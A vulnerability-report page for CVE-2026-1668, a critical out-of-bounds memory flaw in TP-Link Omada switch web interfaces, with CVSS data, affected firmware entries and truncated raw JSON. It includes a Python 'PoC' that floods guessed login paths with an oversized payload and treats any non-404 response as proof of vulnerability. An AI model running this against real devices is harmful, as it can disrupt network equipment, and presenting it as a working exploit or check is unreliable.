Security Vulnerability Report
中文
CVE-2026-1668 CVSS 9.8 CRITICAL

CVE-2026-1668

Published: 2026-03-13 19:53:58
Last Modified: 2026-04-02 15:03:02
Source: f23511db-6c3e-4e32-a477-6aa17d310630

Description

The web interface on multiple Omada switches does not adequately validate certain external inputs, which may lead to out-of-bound memory access when processing crafted requests. Under specific conditions, this flaw may result in unintended command execution.<br>An unauthenticated attacker with network access to the affected interface may cause memory corruption, service instability, or information disclosure. Successful exploitation may allow remote code execution or denial-of-service.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:tp-link:omada_sg2005p-pd_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:omada_sg2005p-pd:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:omada_sg2008_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:omada_sg2008_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:omada_sg2008:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:omada_sg2008p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:omada_sg2008p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:omada_sg2008p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:omada_sg2016p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:omada_sg2016p_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:omada_sg2016p:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:tp-link:omada_sg2210mp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:omada_sg2210mp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:tp-link:omada_sg2210mp_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tp-link:omada_sg2210mp:-:*:*:*:*:*:*:* - NOT VULNERABLE
Omada Switch < 最新固件版本
具体受影响的固件版本需参考TP-Link官方安全公告

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-1668 PoC - Omada Switch Web Interface RCE # Note: This is a conceptual PoC based on vulnerability description # Actual exploitation requires further analysis import requests import sys TARGET = "http://target-omada-switch.local" CVE_ID = "CVE-2026-1668" def check_vulnerability(target): """Check if target is vulnerable to CVE-2026-1668""" try: # Attempt to access the web interface response = requests.get(target, timeout=10) # Check for specific conditions that indicate vulnerability if response.status_code == 200: # Send crafted request with oversized input to trigger OOB access # This is a placeholder - actual exploit requires further analysis malicious_payload = "A" * 10000 exploit_paths = [ "/api/login", "/cgi-bin/luci", "/web/static/index.html" ] for path in exploit_paths: try: r = requests.post( target + path, data=malicious_payload, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=10 ) # Check for signs of successful exploitation if r.status_code != 404: print(f"[*] Potential vulnerability detected at {path}") return True except: pass return False except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET = sys.argv[1] print(f"[*] Checking {TARGET} for {CVE_ID}") if check_vulnerability(TARGET): print("[!] Target appears to be vulnerable") else: print("[*] Target may not be vulnerable or is unreachable")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1668", "sourceIdentifier": "f23511db-6c3e-4e32-a477-6aa17d310630", "published": "2026-03-13T19:53:58.160", "lastModified": "2026-04-02T15:03:02.430", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The web interface on multiple Omada switches does not adequately validate certain external inputs, which may lead to out-of-bound memory access when processing crafted requests. Under specific conditions, this flaw may result in unintended command execution.<br>An unauthenticated attacker with network access to the affected interface may cause memory corruption, service instability, or information disclosure. Successful exploitation may allow remote code execution or denial-of-service."}, {"lang": "es", "value": "La interfaz web en múltiples switches Omada no valida adecuadamente ciertas entradas externas, lo que puede llevar a acceso a memoria fuera de límites al procesar solicitudes manipuladas. Bajo condiciones específicas, esta vulnerabilidad puede resultar en ejecución de comandos no intencionada. Un atacante no autenticado con acceso de red a la interfaz afectada puede causar corrupción de memoria, inestabilidad del servicio o revelación de información. La explotación exitosa puede permitir ejecución remota de código o denegación de servicio."}], "metrics": {"cvssMetricV40": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "f23511db-6c3e-4e32-a477-6aa17d310630", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:omada_sg2005p-pd_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "1.0.19", "matchCriteriaId": "9F442622-A627-45A3-A268-52258945E3FD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:omada_sg2005p-pd:-:*:*:*:*:*:*:*", "matchCriteriaId": "1E30DC41-D802-4A16-8192-161BF889AFCD"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:omada_sg2008_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20.0", "versionEndExcluding": "4.20.17", "matchCriteriaId": "78C14AB4-7326-4367-AEFC-8F741CB2CB1C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:omada_sg2008_firmware:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.30.0", "versionEndExcluding": "4.30.1", "matchCriteriaId": "A7E0322E-ED92-4B48-9FE9-3C30F39F9710"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tp-link:omada_sg2008:-:*:*:*:*:*:*:*", "matchCriteriaId": "2D360F8F-92C4-4ED9-95D0-8C1F6F2FEC8D"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tp-link:om ... (truncated)